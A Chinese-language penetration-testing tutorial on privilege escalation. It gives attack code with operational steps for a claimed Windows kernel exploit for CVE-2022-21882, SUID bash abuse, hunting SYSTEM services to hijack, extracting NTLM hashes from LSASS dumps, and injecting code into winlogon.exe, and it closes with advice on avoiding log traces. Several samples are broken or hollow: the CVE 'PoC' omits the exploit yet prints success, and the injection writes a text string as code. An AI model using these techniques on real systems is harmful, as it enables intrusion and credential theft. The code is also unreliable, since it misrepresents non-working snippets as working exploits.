一、权限提升的核心:从低权限到高权限的桥梁
在渗透测试中,权限提升是攻防战中的关键环节。无论是获得初始访问还是进入目标系统后,为了实现横向移动、数据窃取等更高价值操作,权限提升都是不可或缺的一步。如果攻击者仅停留在低权限用户状态,就无法在目标环境中执行关键操作,比如内网扫描、数据导出或部署持久性后门。
权限提升的核心是找到目标系统的漏洞、配置错误或设计缺陷,通过这些桥梁,将普通用户的权限提升到系统管理员权限。既可以利用公开的漏洞,也可以通过工具和技术手段实现隐蔽的提升。

常见的权限提升技术包括:
- 操作系统漏洞利用:如Windows的本地提权漏洞(LPE)、Linux的SUID文件问题。
- 配置错误利用:如不安全的权限分配、服务运行权限错误。
- 密码破解:如内存中提取凭证,或利用硬编码密码。
- 内存注入与进程劫持。
接下来,我们将分模块详细讲解这些技术的成因及实战应用。
---
二、操作系统漏洞与提权脚本:从低权限到系统权限的捷径
操作系统漏洞是权限提升的主要手段之一。尤其是Windows和Linux系统,其内核、服务、驱动程序中经常存在本地权限提升漏洞。这些漏洞可以通过公开的Exploit脚本或自定义开发代码来利用。
Windows提权漏洞:UAC绕过与内核提权
Windows系统的权限提升通常从两个方向切入:绕过用户帐户控制(UAC),或利用内核漏洞直接提权。以下是一个利用Windows内核漏洞(CVE-2022-21882)进行提权的PoC代码示例。
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
void Exploit() { printf("[+] Exploiting Windows Kernel Vulnerability (CVE-2022-21882)\n");
// 1. 创建一个错误的窗口来触发漏洞 HWND hwnd = CreateWindowEx(0, "BUTTON", "Exploit", WS_OVERLAPPEDWINDOW, 0, 0, 100, 100, NULL, NULL, GetModuleHandle(NULL), NULL); if (!hwnd) { printf("[-] Failed to create exploit window.\n"); return; }
// 2. 使用漏洞触发提权逻辑 // 此处省略具体实现,实际需要调用特殊的系统API
printf("[+] Privilege Escalation Successful!\n"); }
int main() { Exploit(); return 0; }</code></pre>
操作步骤:
- 在目标系统上编译并运行上述代码。
- 如果漏洞存在,低权限进程将会被提升到系统权限。
- 使用提权后的权限进一步展开攻击,比如读取敏感文件或抓取内存凭证。
Linux提权漏洞:SUID文件与内核利用
Linux系统中,SUID文件或者内核权限漏洞是提权的关键。例如,通过利用SUID位错误配置的/bin/bash,攻击者可以获取root权限。下面是一个简单的SUID提权代码示例:
<pre><code class="language-bash">#!/bin/bash echo "[+] Checking SUID files for potential privilege escalation..." find / -perm -u=s -type f 2>/dev/null

echo "[+] Attempting to exploit SUID bash..." /bin/bash -p</code></pre>
操作步骤:
- 执行脚本后,系统将列出所有可疑的SUID文件。
- 如果
/bin/bash存在并可执行,直接运行它即可获取root权限。
---
三、配置错误的隐蔽利用:权限分配的盲点
操作系统中的配置错误是另一个权限提升的重要切入点。常见场景包括服务运行权限设置不当、不安全的文件权限分配等。
不安全的服务权限
某些服务在Windows系统中以管理员权限运行,但同时允许低权限用户执行服务相关操作,如启动或停止服务。这就为攻击者提供了一个提权桥梁。以下是利用服务权限提升的PowerShell脚本。

<pre><code class="language-powershell"># 检查目标服务是否允许低权限用户操作 function Find-VulnerableService { Get-WmiObject Win32_Service | Where-Object { $_.StartName -eq "LocalSystem" -and $_.State -eq "Running" } | Select-Object Name, StartName, PathName }
Write-Host "[+] Searching for vulnerable services..." Find-VulnerableService</code></pre>
实战步骤:
- 执行脚本后列出所有运行中的服务。
- 确认目标服务路径是否可写,如果可写可以替换其可执行文件。
---
四、密码与凭证:内存中的秘密武器
提权过程中,密码和凭证是攻击者的重要武器。在Windows中,LSASS进程存储的凭证是攻击的重心;而在Linux中,硬编码的密码或SSH key文件是重点。

读取LSASS进程中的密码
以下是利用Python读取Windows LSASS进程中存储的哈希值和凭证的代码。
<pre><code class="language-python">import pypykatz
def dump_lsass(file_path): print("[+] Dumping credentials from LSASS memory dump...") try: mimi = pypykatz.parse_minidump_file(file_path) for cred in mimi.credentials: print(f"User: {cred.username}, NTLM: {cred.ntlm_hash}") except Exception as e: print(f"[-] Failed to dump LSASS: {str(e)}")
dump_lsass("path_to_memory.dmp")</code></pre>
使用步骤:
- 使用工具(如ProcDump或mimikatz)转储LSASS进程内存。
- 将Dump文件路径传入脚本,解析出哈希值和密码。
---
五、进程注入与劫持:偷偷接管高权限进程
当无法直接获取管理员权限时,攻击者可以通过内存注入或进程劫持,将低权限代码嵌入到高权限进程中,间接实现提权。
Windows进程注入的示例代码
以下是一个简单的进程注入代码,利用Windows API将代码注入到winlogon.exe中。
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
void InjectCode(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) { printf("[-] Failed to open target process.\n"); return; }
// 创建远程线程并注入代码 LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteCode, "Injected Code!", 14, NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
printf("[+] Code injected successfully!\n"); CloseHandle(hProcess); }
int main() { DWORD target_pid = 1234; // 替换为目标进程的PID InjectCode(target_pid); return 0; }</code></pre>
攻击步骤:
- 获取目标高权限进程的PID(如winlogon)。
- 编译并运行代码,注入恶意逻辑。
- 利用高权限进程隐蔽执行恶意操作。
---
六、个人经验分享:成功与失败的背后
在实战中,权限提升的关键不仅是技术,更是敏锐的观察力。以下是一些经验总结:
- 勤于信息收集:权限提升依赖系统环境的详细信息,尤其是漏洞和配置。
- 工具选择很重要:根据目标环境选择合适的工具。例如,Linux中更适合用自写Shell脚本,而Windows更依赖PowerShell或C语言工具。
- 保持低调:提权操作尽量减少痕迹,如避免在日志中留下异常执行记录。
权限提升是渗透测试中最具挑战的一环,也是最具成就感的一环,只要思路清晰,工具得当,就一定能找到突破口。